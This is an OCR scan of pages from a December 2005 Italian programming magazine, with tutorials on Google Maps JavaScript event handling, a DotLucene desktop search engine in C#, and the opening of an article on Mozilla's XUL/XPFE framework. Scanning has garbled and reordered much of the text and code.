"hid_ComboIndiceTipoMappa").value = 0; 
document.getElementById( 

"hid_TipoMappaSelezionata").value = 
"G_MAP_TYPE"; 

} 

if(Mappa.getCurrentMapType() = 

= G_SATELLITE_TYPE) 

{ 

document.getElementById( 

"hid_ComboIndiceTipoMappa").value = 1; 
document.getElementById( 




Quale è il sistema di 
coordinate cartografi- 
che usate da Google? 
Molto semplicemente, 
usa la latitudine e la 
longitudine. Come no- 
to, un punto sulla su- 
perficie terrestre è uni- 
vocamente determina- 
to dalla sua distanza 
angolare dall'equatore 
e dalla sua distanza 
angolare, misurata lun- 
go il parallelo passante 
per tale punto, dal 
meridiano di riferimen- 
to di Greenwich. 
Per chi volesse appro- 
fondire, può usare il 
link: 

http://www.qoogle.it 
/search?hl=it&q=latitudine 
+longitudine&meta= 



http://www.ioprogrammo.it 



Dicembre 2005/ 39 ► 



IOPROGRAMMO WEB T 



Applicazioni Cartografiche 




"hid_TipoMappaSelezionata").value = 
"G_SATELLITE_TYPE" 



} 



if(Mappa.getCurrentMapType()==G_HYBRID_TYPE) 



{ 



document.getElementById( 

"hid_ComboIndiceTipoMappa").value = 2; 
document.getElementById( 

"hid_TipoMappaSelezionata").value = 
"G_HYBRID_TYPE"; 



} 



// Sincronizzo con ìtem corretto della combo (9) 
document.getElementById("selTipoMappa" 

).selectedlndex= 
document.getElementById( 

"hid_ComboIndiceTipoMappa").value; 



Si noti che: 

• Vengono referenziati due oggetti Javascript di 
tipo functionO chiamati OnMoveendMappa e 
OnClickMappa ai quali viene associato il co- 
dice delle funzioni OnMoveendMappa e On- 
ClickMappa. 

• Vengono creati i Listener sui due eventi. Ad 
esempio, per il primo Listener GEvent.addLi- 
stener(Mappa, "moveend", OnMoveendMap- 
pa), il primo parametro di input è l'oggetto 
Mappa (ossia l'istanza myMap creata in pre- 
cedenza), il secondo rappresenta il nome del- 
l'evento che si intende catturare - in questo 
caso "moveend" - ed infine il terzo è l'oggetto 
di tipo Funzione che rappresenta la funzione 
che deve essere eseguita al verificarsi dell'e- 
vento "moveend". 



mensioni del box nel quale viene creata la map- 
pa. Ad esempio, il codice: 

document.getElementById("2_xmin").innerHTML = 

box.minX.toFixed(3) 

imposta il valore del codice HTML del tag <span> 
dell'interfaccia con id="2_xmin" al valore della 
coordinata X minima del box, ossia la latitudine 
del vertice inferiore destro del box nel quale è 
costruita la mappa. Il toFixed(3) formatta il nu- 
mero con tre cifre decimali dopo la virgola. 
La funzione OnClickMappa accetta come input 
due parametri: il primo è un oggetto Overlay, il 
secondo è un oggetto di tipo GPoint che rappre- 
senta le coordinate del punto su cui si è cliccato. 
La routine verifica che si sia cliccato su un punto 
della mappa (e non su un overlay) - il codice if- 
(point) - e in tal caso valorizza il campo © in Fi- 
gura 3 con le coordinate del punto su cui si è clic- 
cato. 

Infine, la routine relativa all'evento "maptype- 
changed" verifica qual è il tipo di mappa corren- 
te e, dopo aver correttamente valorizzato dei 
campi Hidden di appoggio, sincronizza la lista 
valori O di Figura 2 con il tipo corretto di mappa 
visualizzata. Si noti che le "costanti" G_MAP_- 
TYPE, G_SATELLITE_TYPE, G_HYBRID_TYPE so- 
no in effetti degli oggetti messi a disposizione dal 
modello ad oggetti di Google ( e non delle strin- 
ghe o altro...). 

Ricordiamo che tutte queste funzioni vengono 
attivate solo dopo che la mappa è stata creata 
(ossia quando la routine onBodyLoadQ è stata 
tutta eseguita) e dopo che sia verificato uno dei 
tre eventi descritti sulla mappa. 
La routine ImpostaProprietaMappa(myMap) ser- 
ve per definire quali sono i controlli da visualiz- 
zare sulla mappa e che tipo di mappa visualizza- 
re. Il codice è: 



• Viene creato un nuovo listener sull'evento 
"maptypechanged" con una sintassi un po' 
differente ma ugualmente corretta. 

Il listner sull'evento "moveend" viene utilizzato 
per valorizzare il riquadro © in Figura 3 con i da- 
ti corrispondenti. Il codice: 



var center 



Mappa. getCenterLatLng(); 



var box 



Mappa.getBoundsLatLng(); 



var dimensioni 



Mappa. getSpanLatLng(); 



crea le seguenti istanze: center -> istanza di 
GPoint rappresenta il centro della mappa; box -> 
istanza di GBounds rappresenta le coordinate del 
vertice del box nel quale viene creata la mappa; 
dimensioni -> istanza di GSize rappresenta le di- 



fu nction ImpostaProprietaMappa(Mappa) 

{ 

// Imposto il tipo di mappa a seconda di quello che 

ricevo in input 



if(hid_TipoMappaSelezionata 



"G_MAP_TYPE") 



Mappa. setMapType(G_MAP_TYPE); 



if(hid_TipoMappaSelezionata 



"G_SATELLITE_TYPE") 



Mappa. setMapType(G_SATELLITE_TYPE); 



if(hid_TipoMappaSelezionata 



"G_HYBPJD_TYPE") 



Mappa. setMapType(G_HYBRID_TYPE); 
// Inserisco se richiesto il controllo di tipo mappa 



if(hid_maptipocontrollo= = 'l') 



Mappa. addControl(new GMapTypeControl()); 
// Inserisco uno dei tre possibili controlli di zoom 
e movimento sulla mappa 



»> 40 /Dicembre 2005 



http://www.ioprogrammo.it 



Applicazioni Cartografiche ■ T IOPROGRAMMO WEB 



switch(hid_maptipozoom) 



{ 



case "GLargeMapControl" 



Mappa. addControl(new GLargeMapControl ()); 



break 



case "GSmallMapControl" 



Mappa. addControl(new GSmallMapControl()); 



break 



case "GSmallZoomControl" 



Mappa. addControl(new 

GSmallZoomControl()); 



break 



} 



Esistono quattro possibili tipi di controlli e tre 
possibili tipi di visualizzazione della mappa; la 
routine ImpostaProprietaMappa(myMap) non 
fa altro che impostare il controllo e il tipo di 
visualizzazione a secondoa di cosa riceve in 
input. Per aggiungere un controllo, il codice 
generico è: Mappa.addControl(<tipo_control- 
lo>); dove <tipo_controllo> è uno dei seguenti 
possibili oggetti: GLargeMapControlQ, GSmall- 
MapControlQ, GSmallZoomControlQ oppure 
GMapTypeControlQ. 

Infine la routine Rendering(Mappa, Centro, 
Zoom) non fa altro che disegnare la mappa all'in- 
terno del nostro tag <div>, utilizzando il metodo 
centerAndZoom(Centro, Zoom). 
Il codice è il seguente: 

function Rendering(Mappa, Centro, Zoom) 

_{ 

Mappa. centerAndZoom(Centro, Zoom); 



I MARKER 

I marker altro non sono che piccole icone che si 
aggiungono sulla mappa in un punto di coordi- 
nate date. Sono utili per segnalare i punti note- 
voli. La routine che disegna un marker è la Leggi- 
XmlFile (Mappa) che altro non fa che leggere un 
file xml dal nome "data.xml" che è strutturato 
come segue: 



<?xml version = 


"1.0"?> 






<markers> 


<marker lat= 


"37.441" 


lng=' 


'-122.141"/> 


<marker lat= 


"37.439" 


lng=' 


'-122.130"/> 


<marker lat= 


"37.420" 


lng=' 


'-122.120"/> 


<marker lat= 


"37.410" 


lng=' 


'-122.150"/> 


</markers> 



Il file viene letto e ne viene effettuato il parsing 
per ricavare le coordinate dei singoli punti, uti- 



lizzando puro Javascript. La routine è la se- 
guente: 

function LeggiXmlFile (Mappa) 

{ 

if(hid_ReadXmlFile= = l) 



{ 



var request = GXmlHttp.create(); 



request.open("GET", "data.xml", true); 
request. onreadystatechange = function() 



{ 



if (request. readyState 



4) 



{ 



var xmlDoc = request. responseXML; 
var markers = xmlDoc.documentElement 

.getElementsByTagName("marker"); 
for (var i = 0; i < markers. length; i++) 



{ 



var point = new GPoint(parseFloat( 

markers[i].getAttrìbute("lng")), 
parseFloat(markers[i].getAttribute("lat"))); 
var marker = new GMarker(point); 



Mappa. addOverlay (marker); 



} 



request. send(null); 



} 



Nel caso in cui il parametro hid_ReadXmlFile = 1 
(il valore di tale campo varia da ad 1 alla pres- 
sione del tasto che richiama LeggiXmlFile(Map- 
pa), a secondo se si vogliono visualizzare o meno 
i marker) viene istanziata la classe GXmlHttp che 
viene utilizzata per leggere il file di dati xml; tali 
dati vengono quindi usati per creare tanti ogget- 
ti di tipo GMarker quanti sono i punti letti, e tali 
punti vengono aggiunti sulla mappa con il meto- 
do addOverlay (marker). 

Notate che cliccando su un punto, non vengono 
visualizzate le coordinate nella casella © di Figu- 
ra 3. Infatti il "marker" non è la "mappa", ma si 
sovrappone ad essa. 



CONCLUSIONI 

Il concetto di base da comprendere è che una 
volta che la mappa è stata creata sulla pagina 
web, essa è statica e non può più essere gestita 
"da client" con Javascript. Volendo modificare le 
proprietà, deve essere rigenerata ex-novo con le 
nuove caratteristiche, risottomettendola al ser- 
ver. L'unica interazione diretta "lato client" è 
quella che fa uso dei Listener e delle funzioni da 
essi richiamate. 

Danilo Berta 




http://www.ioprogrammo.it 



Dicembre 2005/ 41 ► 



IOPROGRAMMO WEB ▼ ■ Integrare un potente motore di ricerca nei software 



Clona Google 
Desktop Search 

Realizza un motore di ricerca iperveloce per cercare per ogni tipo 
di informazione contenuta nell'hard disk. Integralo nelle tue 
applicazioni e offri all'utente un prodotto omogeneo 




□ CD □ WEB 

DesktopSearch.zip 



T '*K 



n 




REQUISITI 



■ _ Il II ll'i — 
rn I Conoscenze base 
— <s di .net Framework, C# 



% Visual Studio .net 2003, 
oU Reflector, DotLucene 



\^M\^M\^À^ _ 



Tempo di realizzazione 



I nostri hard disk diventano sempre più ca- 
pienti. Se un paio di anni fa avere un hard 
disk da 40 GB era quasi un lusso, oggi i 160 
GB sono la norma e domani lo saranno quelli 
dell'ordine dei Tera Byte. 
Dischi di queste dimensioni ci consentono di 
archiviare una quantità enorme di informa- 
zioni: documenti, fogli di calcolo, fatture, ar- 
ticoli, film, musica ecc.. Tutto positivo finché 
non abbiamo la necessità di trovare il file che 
ci serve. So che molti di voi avranno subito 
pensato: "ho la mia organizzazione e trovo 
quello che mi serve" ma alzi la mano chi non 
ha mai rivoltato l'intero hard disk alla ricerca 
di qualche minuscolo file o di qualche infor- 
mazione in esso contenuta. Finché si cerca un 
file intero è facile. Il difficile arriva quando 
dobbiamo ricercare qualche informazione 
"interna" ad un file. 

Ad esempio: voglio trovare tutti i files che con- 
tengono un nome ed eliminarli. 
Come si fa? 

In questo articolo capiremo come realizzare 
un motore di ricerca per il nostro PC (un 
Desktop search) che ci dia la possibilità di tro- 
vare le informazioni contenute nei nostri files 
e di farlo in modo rapido. 
Esistono già diverse applicazioni che fanno 
questo (MSN Desktop search o Google desktop 
search); perché quindi realizzarne un'altra? I 
motivi sono due: 

1. capire cosa c'è dietro questi software così 
utili, e quale modo migliore esiste se non 
quello di scriversene uno? 

2. chi ci vieta di creare un nostro motore che 
faccia ricerca di dati all'interno di un no- 
stro software? 

Mettiamoci quindi all'opera! 



°" "'"■' <:■-■■«•■•''■■■■-* 



«, iTiil 



CiVDocuments and SettingsVMigrdlVDacurnenti 



l l~— | 



£) sebamHW 

13 radme.H 

™d™.« 

I tato* 

_l Readme.ta 

g| ReadmeUt 

J D irect SI™ Eccepii on 

4J 'vìrtualServerjrVv'P.d: 



Win dow supplicai ioni 
SebaMK_Pr53742Z7... 

.'."■_;■;"- t 

-=i' ■ ■■:: ■ 

WwaysOnTop 
DiredSh™ 
.: :.'■;■:. 



74154... 
61795. 
49436... 
49436._ 
43G96 



Fig. 1: La schermata principale dei software 



COME FUNZIONA 

UM MOTORE DI RICERCA 

Prima di addentrarci negli aspetti specifici del 
software che andremo a realizzare, è ne- 
cessario spendere qualche parola per capire, 
in linea del tutto generale, come funziona un 
motore di ricerca. Ci sono alcuni aspetti chia- 
ve che vanno compresi altrimenti tutto il resto 
dell'articolo sarà decisamente "astratto" e di 
difficile da seguire. 

In questo paragrafo parleremo dei concetti di 
base quali indici, ricerca, analisi dei files. 
Tutti concetti che poi riprenderemo più in 
dettaglio nei paragrafi successivi, analizzan- 
doli nel contesto della libreria specifica che 
utilizzeremo: DotLucene. 
Poniamoci quindi la prima domanda: come 
funziona un motore di ricerca? E cosa ci serve 
cercare? 

Nella vita di tutti i giorni, capita spesso di ave- 
re la necessità di ricercare informazioni. Oggi 
è tutto molto più semplice: apriamo il nostro 



»> 42 /Dicembre 2005 



http://www.ioprogrammo.it 



Integrare un potente motore di ricerca nei software H T SISTEMA 



browser, raggiungiamo un sito web che racco- 
glie i dati di cui abbiamo bisogno (numeri 
telefonici, indirizzi ecc.) ed il gioco è fatto. Ma 
ieri, per ricercare le stesse informazioni dove- 
vamo affidarci agli strumenti cartacei. 
Quando dovevamo ricercare un numero di te- 
lefono si apriva l'elenco telefonico, si "filtra- 
va" per città, poi per lettera (relativa al cogno- 
me) ed infine si ricercava la persona. 
Provate ora ad immaginare un elenco telefo- 
nico fatto da tanti foglietti di carta, ognuno 
con un nominativo segnato su. Tutti questi fo- 
glietti sono contenuti in una grossa scatola di 
cartone. Quando ci serve un numero telefo- 
nico dobbiamo: 

1. prendere un foglietto dalla scatola; 

2. leggerne il testo; 

3. se è il numero della persona che stiamo 
cercando, oltre ad essere stati molto fortu- 
nati, abbiamo finito; 

4. se non è il numero che stiamo cercando, 
riprendiamo dal punto 1. finché non tro- 
viamo il numero che ci serve. 

Impensabile vero? Eppure è quello che succe- 
de quando cerchiamo qualcosa sul nostro 
hard disk. 

Gli strumenti di ricerca tradizionali "esplora- 
no" il disco in modalità sequenziale alla ricer- 
ca di tutti i files che esaudiscono il criterio di 
ricerca. 

Ci siamo imbattuti nel primo problema: quel- 
lo dell'indicizzazione. Affinché una ricerca sia 
efficiente, è necessario avere un indice che ci 
permetta di trovare rapidamente l'informa- 
zione che stiamo cercando. 
Il secondo concetto importante da capire è 
relativo alla ricerca vera e propria. Ora sappia- 
mo cosa è un indice (e più avanti vedremo 
come è fatto), ma come lo usiamo? 
Andate nelle prime pagine della rivista. Trove- 
rete un indice. Se volete sapere a che pagina è 
questo articolo, lo trovate nell'indice, ne recu- 
perate il numero di pagina e sfogliate la rivista 
fino a trovarlo. È esattamente quello che il no- 
stro software dovrà fare: una volta trovata la 
parola cercata, dovrà fornirci un elenco di do- 
cumenti (con il relativo path) che la conten- 
gono. 

C'è un altro aspetto che ci resta da compren- 
dere: l'analisi dei files. Ma di questo ne parle- 
remo più avanti, in modo che risulti più sem- 
plice la sua comprensione. 
Per creare il nostro motore di ricerca persona- 
lizzato, utilizzeremo DotLucene. Si tratta di un 
"porting" di una libreria Java in .net. 
Il progetto originale si chiama Apache Lucene 



e consiste in una libreria Open Source che 
consente di inserire nei propri programmi 
funzionalità di ricerca avanzate. 
All'interno di questa splendida libreria trovia- 
mo tutte le funzioni che ci servono per creare 
motori di ricerca davvero potenti e veloci. 
Tutto quello che dobbiamo fare è referenziare 
l'assembly nel nostro progetto ed usarlo! Così 
semplice? 

Ebbene sì ma, dietro tanta semplicità si na- 
sconde un codice molto articolato ed abba- 
stanza complesso di cui cercherò di svelare 
qualche piccolo "segreto". 



DOTLUCENE 

E L'INDICIZZAZIONE 

Seguendo la stessa sequenza utilizzata nel pa- 
ragrafo precedente, il primo aspetto che ana- 
lizzeremo è l'indicizzazione. Per semplificare 
la comprensione di alcuni aspetti pratici del- 
l'utilizzo di questa libreria, apriamo il codice 
allegato nel nostro editor preferito e seguia- 
mo le porzioni di codice più salienti. 
Dovrebbe essere chiaro che, senza indice non 
facciamo la ricerca quindi, il primo passo da 
compiere quando utilizziamo DotLucene è 
quello di assicurarsi che l'indice sia stato 
creato e, in caso contrario, crearlo. 
Per la creazione dell'indice, oltre ad un con- 
trollo nell'evento load del forni principale 
dell'applicazione: 

private void Forml_l_oad(object sender, 

System. EventArgs e) 

1 

this.textBoxPath.Text = Environment.GetFolderPath( 
Environment.SpecialFolder.Personal); 
this.pathlndex = Patri. Combine( 

Environment.GetFolderPath( 
Environment. Special Folder. Locai ApplicationData), 

"DesktopSearch"); 
checklndex(); 
} 

abbiamo predisposto un bottone apposito al 
cui evento click è associato il seguente codice: 

private void buttonIndex_Click(object sender, 

System. EventArgs e) 

1 

indexWriter = new IndexWriter(thìs.pathIndex, 

new StandardAnalyzerQ, true); 
bytesTotal = 0; 
countTotal = 0; 
countSkipped = 0; 
enableControls(false); 





I TUOI APPUNTI 



http://www.ioprogrammo.it 



Dicembre 2005/ 43 ► 



SISTEMA T I Integrare un potente motore di ricerca nei software 




Directorylnfo di = new DirectoryInfo( 

this.textBoxPath.Text); 
DateTime start = DateTime.Now; 
addFolder(di); 

string summary = String.Format("Fatto. Indicizzati 
{0} files ({1} bytes). Saltati {2} files.", 
countTotal, bytesTotal, countSkipped); 
summary += String. Format(" Tempo impiegato 

{0}", (DateTime.Now - start)); 



status(summary); 



enableControls(true); 



indexWriter.Optimize(); 



indexWriter.Close(); 



} 



Nella prima riga dopo la dichiarazione del 
metodo buttonIndex_Click, creiamo una 
istanza dell'oggetto IndexWriter passando co- 
me argomenti il path in cui memorizzeremo 
l'indice (pathlndex) e una istanza dell'Analy- 
zer (di cui parleremo più avanti) . 
IndexWriter si occuperà di popolare l'indice 
di DotLucene che è così strutturato: 



DOTLUCENE 
E LA RICERCA 

Nel precedente paragrafo abbiamo visto co- 
me creare l'indice. Ora vediamo come usarlo. 
Come visibile in Figura 3, abbiamo inserito 
una textBox in cui inserire il testo da ricerca- 
re ed un bottone con la dicitura "Cerca". 



j^SSSC 



■ -I-fi 




Fig. 3: La costruzione della nostra interfaccia 



• Documents: costituisce l'elemento prima- 
rio dell'indice. È strutturato in una se- 
quenza di campi denominati Terms che a 
loro volta hanno una struttura interna. 

• Terms: è l'elemento più piccolo descritto 
da tre attributi: 

1. Stored: il testo originale restituito dalla 
ricerca 

2. Indexed: rende il termine ricercabile (è 
indicizzato) 

3. Tokenized: specifica che l'elemento ha 
subito il processo di pulizia da parte 
dell'Analyzer. 

In Figura 2 è visibile una sua schematizzazione. 



(index 



/fi 



Document 

(Term 
(sored yìndexed Vrokenized^ 



Fig. 2: Una schematizzazione della struttura dell'indi- 
ce di DotLucene 



Nell'evento click del buttonSearch inseriamo 
il seguente codice: 

private void buttonSearch_Click(object sender, 

System. EventArgs e) 

J 

searchQ; 



} 



Che richiama il metodo search descritto di se- 
guito: 



private void search() 



{ 



DateTime start = DateTime.Now; 



try 



searcher = new IndexSearcher(this. pathlndex); 



} 



catch (IOException ex) 



{ 



MessageBox.Show("L\'indice non esiste o è 

danneggiato. Riscostruiscilo.\r\n\r\nDettagli: 
\r\n" + ex.Message); 



return; 



} 



this.listViewResults.Items.Clear(); 



if (this.textBoxQuery.Text.Trim(new char[] {' '}) 

= = String. Empty) 



return; 



Query query = QueryParser.Parse( 

this.textBoxQuery.Text, "text", new 
StandardAnalyzer()); 



Hits hits = searcher.Search(query); 



»> 44 /Dicembre 2005 



http://www.ioprogrammo.it 



Integrare un potente motore di ricerca nei software H T SISTEMA 



for (int ì = 0; i < hits.Length(); i ++) 

J 

Document doc = hits.Doc(i); 



string path = doc.Get("path"); 



string filename = doc.Get("title"); 



string path = doc.Get("path"); 



string folder = Path.GetDirectoryName(path); 
Directorylnfo di = new Directorylnfo(folder); 
ListViewItem item = new ListViewItem( 

new string[] {nuli, filename, di.Name, 
hits.Score(i).ToString()}); 



item.Tag = path; 



item.Imagelndex = 

imageListDocuments.Iconlndex(filename); 
this.listVìewResults.Items.Add(item); 



Application. DoEvents(); 



} 



searcher.Close(); 



string searchReport = String. Format("La ricerca è 
durata {0}. Trovati {1} elementi.", ( 
DateTime.Now - start), hits.Length()); 



status(searchReport); 



} 



Il primo controllo da effettuare è sulla pre- 
senza dell'indice. Se esso manca, le ricerche 
saranno ovviamente impossibili da effettuare 
quindi bisognerà segnalarlo. Dopo aver veri- 
ficato la presenza di qualche elemento da cer- 
care nella textBoxQuery, dobbiamo costruire 
la nostra espressione di ricerca e lo facciamo 
con 

Query query = QueryParser.Parse( 

this. textBoxQuery. Text, "text", new 
StandardAnalyzer()); 

Lo scopo di QueryParser è quello di prendere 
la nostra stringa di ricerca e trasformarla in 
un oggetto Query, comprensibile dal motore 
di ricerca. Se osserviamo gli argomenti passa- 
ti al metodo Parse vedremo che, oltre al testo 
da ricercare, viene passata stringa "text" che 
indica al Parser che le informazioni vanno 
cercate nel testo indicizzato, e una nuova 
istanza di StandardAnalyzer per la pulizia del 
testo (che vedremo nel prossimo paragrafo). 
Una volta "parsata" la stringa di ricerca e rice- 
vuto un oggetto Query, questo potrà essere in- 
viato al motore con 

Hits hits = searcher.Search(query); 

che ritornerà un vettore di Hint: in pratica i 
documenti trovati. Tale vettore verrà poi ana- 
lizzato per estrarre le informazioni da 
mostrare all'utente. 

string filename = doc.Get("title"); 



string folder = Path.GetDirectoryName(path); 



DOTLUCENE 
E L'ANALYZER 

Più volte, in questo articolo, è saltato fuori il 
termine Analyzer, spesso passato come argo- 
mento nella chiamata di qualche metodo di 
DotLucene. 

Ho atteso fino a questo punto per descrivere 
di cosa si tratta in quanto ritengo che il modo 
migliore per capirlo sia arrivarci per logica e 
dopo aver compreso come funziona sia l'indi- 
cizzazione sia la ricerca. 

Provate a rileggere questo paragrafo fino a 
questo punto. 

Sono 67 parole tra cui compaiono articoli, 
congiunzioni, spazi, punti ecc. 
Cosa succederebbe se inserissimo nell'indice 
tutto il testo così come lo leggiamo? Nella no- 
stra mente possiamo, in un certo senso, filtra- 



COSA SUCCEDE DIETRO LE QUINTE 
DI IIMDEXWRITER? 




Per scoprirlo, usiamo il tool chia- 
mato Ref lector che si presenta 
come in figura. 



int numi = 0; 



foreach (Field fieldl in doc.FieldsQ) 



{ 



if (fieldl. IsStoredQ) 









^ ? ! w - l È S ■ 




sfcr— " 


lÉsÉSaESSiS' 


- 


tffÉSlL 


«Jés? — 








*| 



{ 



numl + + ; 



} 



this.fieldsStream.WriteVInt(numl); 



foreach (Field field2 in doc.FieldsQ) 



{ 



if (field2.IsStored()) 



{ 



this.fieldsStream.WriteVInt( 

this.fieldInfos.FieldNumber( 
field2.Name())); 



byte num2 = 0; 



La v'ideata di Reflector 

Seguire tutta la strada che fa Dot- 
Lucene per creare l'indice è abba- 
stanza lungo ed occuperebbe trop- 
po spazio per questo articolo. 
Vediamo però un aspetto interes- 
sante di questa funzione: dopo di- 
verse chiamate a metodi il cui sco- 
po è quello di verificare e struttura- 
re le informazioni lette dai f iles, si 
arriva al metodo AddDocument 
dell'oggetto FieldsWriter. 

internai void AddDocument( 

Document doc) 



if (field2.IsTokenized()) 



{ 



num2 = (byte) (num2 | 1); 



this.fieldsStream 

.WriteByte(num2); 



this.fieldsStream 



.WriteString(field2.StringValue()); 



this.indexStream.WriteLong( 

this.fieldsStream.GetFilePointer()); 



} 



Questo metodo, insieme a tutti gli 
altri chiamati, si occupa di compila- 
re l'indice. Invito i più curiosi a 
seguirne il percorso da Reflector 
per comprendere più in dettaglio le 
operazioni compiute all'interno 
della libreria. 



http://www.ioprogrammo.it 



Dicembre 2005/ 45 ► 



SISTEMA T I Integrare un potente motore di ricerca nei software 





SUL WEB 



Tutte le informazioni 
relative al progetto 
DotLucene (il porting 
in .net) sono 
all'indirizzo 
http://www.dotlucene.net 
da cui si accede anche 
al sito del progetto ori- 
ginale Apache Lucene 
http://lucene.apache.org 
/ìava/docs/index.html 
ricco di informazioni 
ed esempi. 



re tutto quello che ci sembra inutile (come gli 
spazi) ma il nostro codice non ha di suo que- 
sta capacità. 

Ecco quindi che ci sono gli Analyzer. 
Immagino che ora, il significato di questo ele- 
mento sia più chiaro. Ma cerchiamo di capire 
come funzionano questi componenti (già, ce 
ne sono svariati). Il loro scopo è quello di fil- 
trare il testo che viene passato all' indicizzato - 
re secondo alcuni criteri, variabili in base al- 
l'Analyzer scelto. Quello standard ad esem- 
pio, per prima cosa converte tutto il testo pas- 
sato in minuscolo, pulisce gli articoli, le pro- 
posizioni, le congiunzioni, la punteggiatura 
ecc. Come al solito, un esempio vale più di 
mille parole. 

Prendiamo la frase: "Come al solito, un esem- 
pio vale più di mille parole" una volta proces- 
sata dallo StandardAnalyzer diventerà qual- 
cosa di simile a: 

[come] [solito] [esempio] [vale] [mille] [parole] 

in cui ogni termine racchiuso tra le parentesi 
quadre diventerà un Token inserito nell'indi- 
ce. In questo modo esso sarà ottimizzato e ve- 
loce da consultare. 

Attenzione ad una cosa però: abbiamo visto 
negli esempi precedenti che l'Analyzer viene 
richiesto sia dall'indicizzatore sia dal metodo 
che esegue la ricerca. È importante che, sia 
per indicizzare, sia per ricercare venga usato 
lo stesso Analyzer altrimenti i risultati della 
ricerca non saranno corretti! 



DOTLUCENE: 
COSA MANCA? 

Abbiamo fin qui visto le parti fondamentali di 
questa libreria e come usarle per creare la no- 
stra applicazione di ricerca. Ma manca qual- 
cosa: DotLucene indicizza solo i files di testo! 
Tale comportamento è decisamente limitato 
per quelli che possono essere i nostri scopi. 
Fortunatamente a tale mancanza c'è una so- 
luzione il cui nome è IFilter. 
IFilter è una interfaccia che fa parte di Win- 
dows Indexing Service (il servizio di indicizza- 
zione files di Windows). Grazie a questa inter- 
faccia possiamo fornire al nostro motore di ri- 
cerca la capacità di indicizzare anche il con- 
tenuto dei documenti Office. 
Vediamo subito in breve come funziona: 

private void addOfficeDocument(string patti) 

{ 

Document doc = new Documento; 



string Alenarne = Patti. GetFileName(path); 



doc.Add(Field.UnStored("text" 



Parser. Parse( patti))); 



doc. Add(Field.Key word ("patti", patti)); 



doc.Add(Field.Text("title", f Menarne)); 
indexWriter.AddDocument(doc); 



} 



Nel momento in cui andiamo ad indicizzare 
un file di Office, richiamiamo un metodo sta- 
tico chiamato Parse dell'oggetto Parser (Par- 
ser.Parse(path)) a cui passiamo come argo- 
mento il path del file da analizzare. 




o 



Utah snowboarding From Daniel Amelang <danny@amelang.net> 



Conversa tion vuith Jamie Zawinski 
5 days ago, 9:14 PM (38 minute*] 



Fiasco2004 modified 4 days ago. 3:37 AM 



Conversation with Robert Love 

October 24, 1 0:24 PM {34 minutes) 



JC 



Conversation vuith Alex Graveley 

October 24, 1 0:32 PM (3 hours, 35 minutes) 



^iJ 



Conversation vuith Miguel de Icaza 

March 20, 11 :05 AM (42 minutes) 



Conversation with Peach Friedrr 
4 days ago, 12:47 AM (41 minutes) 



HO results of 13 are 



ssults ^ Show Mora Resulta 



Fig. 2: Beagle - http://beaglewiki.org/ è uno dei pro- 
getti più innovativi che fa uso della libreria lucene 

Tale metodo (di cui ometto la descrizione per 
questioni di spazio) ha lo scopo di caricare il 
filtro adatto che "leggerà" il file passato e ne 
passerà le informazioni ricavate all' IndexWri- 
ter di DotLucene, proprio come abbiamo vi- 
sto nei precedenti paragrafi. 
Ed anche questo limite è stato superato. 



CONCLUSIONI 

In questo articolo abbiamo visto come sia 
semplice realizzare una applicazione per la 
ricerca di informazioni stile Google Desktop 
Search o MSN Desktop Search, ma la cosa più 
importante è che abbiamo visto dall'interno 
come funzionano i meccanismi di ricerca e di 
indicizzazione dei files. 

Lo scopo del software proposto in questo arti- 
colo non è quello di realizzare l'ennesimo 
motore di ricerca fine a se stesso ma quello di 
capirne i meccanismi al fine di integrare le 
stesse funzionalità nei nostri programmi. 

Michele Locuratolo 



». 46 /Dicembre 2005 



http://www.ioprogrammo.it 



SISTEMA T ■ Framework per lo sviluppo di applicazioni 



XPFE: il framework 



di Mozilla 



Dietro al celebre browser si nasconde un potente framework. 
XPFE è una sapiente combinazione di linguaggi e tecnologie 
finalizzata allo sviluppo di applicazioni multipiattaforma 




R 




CD J WEB 

xfpe.zip 



jo 




REQUISITI 



n.).wmwi 



Conoscenze nell'uso di 
Windows, nozioni 
generali di 
programmazione 



% Microsoft Visual Studio 
GfJ 6.0 o superiore 



^3^3fej. 



Tempo di realizzazione 



ecentemente ioProgrammo vi ha presen- 
tato un metodo per sviluppare plugin di 
, Firefox utilizzando il linguaggio XUL. La 
tecnica era concettualmente abbastanza sempli- 
ce: veniva ricreata una particolare struttura di 
directory posta sotto la radice dell'installazione 
di Firefox, venivano creati i file XUL, il tutto veni- 
va dato in pasto a Firefox che parserizzava i file 
in questione e rendeva il plugin disponibile agli 
utenti. In realtà, al di sotto di questa tecnica c'è 
qualcosa in più. Prima di tutto XUL è un lin- 
guaggio derivato da XML che consente di creare 
interfacce grafiche molto complesse utilizzando 
un misto di XML, CSS, JavaScript. Negli articoli 
precedenti di ioProgrammo si era visto proprio 
un esempio applicativo. Firefox contiene al suo 
interno un engine in grado di interpretare i file 
XUL. In questo articolo estrapoleremo il solo en- 
gine da Firefox, di modo che possiate distribuire 
su più piattaforme le vostre applicazioni XUL 
indipendentemente dall'installazione di Firefox. 
Il motore che utilizzeremo è XulRunner, e sarà in 
grado di eseguire applicazioni XPFE ovvero per 
l'insieme delle tecnologie che consentono di svi- 
luppare usando XUL 



GLI STRUMENTI 
DEL FRAMEWORK 

Mozilla non è semplicemente un browser ma 
una completa piattaforma per lo sviluppo di ap- 
plicazioni. Chiunque abbia fatto uso del softwa- 
re di posta elettronica o del client IRC inclusi lo 
ha certamente sperimentato, forse senza farci 
caso. Per avere un'idea più concreta possiamo 
installare Mozilla sul computer e dare uno sguar- 
do alle sottodirectory contenute nell'installazio- 
ne. Troveremo le applicazioni che conosciamo 
all'interno di una cartella di nome chrome, sot- 
toforma di file .jar oppure dentro altre cartelle. 
Se ne prendiamo una in particolare e ne studia- 
mo la struttura osserviamo un insieme di file 



disposti secondo un ordine preciso. Come ab- 
biamo accennato, il framework offre la possibi- 
lità di impiegare varie tecnologie Web per lo svi- 
luppo di applicazioni, ciascuno di questi file 
contiene infatti un programma JavaScript (.js), 
un Cascading Style Sheets (.css) oppure riguarda 
un altro genere di tecnologia supportata dal fra- 
mework. Ogni elemento ha un suo ruolo nel de- 
finire l'aspetto grafico, gestire gli eventi, elabo- 
rare dati, etc. 

Realizzare un programma per Mozilla significa 
mettere insieme questi più altri pezzi, che esa- 
mineremo dopo aver preso dimestichezza con i 
primi concetti. Per certi versi XPFE ricorda 
DHTML: anch'esso usa JavaScript e CSS tuttavia 
impiega HTML per la definizione dell'aspetto 
grafico. Mozilla invece si avvale di XUL (XML- 
based User-interface Language), un linguaggio 
basato su XML che offre la possibilità di costrui- 
re interfacce grafiche mediante dei comandi 
semplici e potenti. 

Un tale approccio, che prevede una sinergia di 
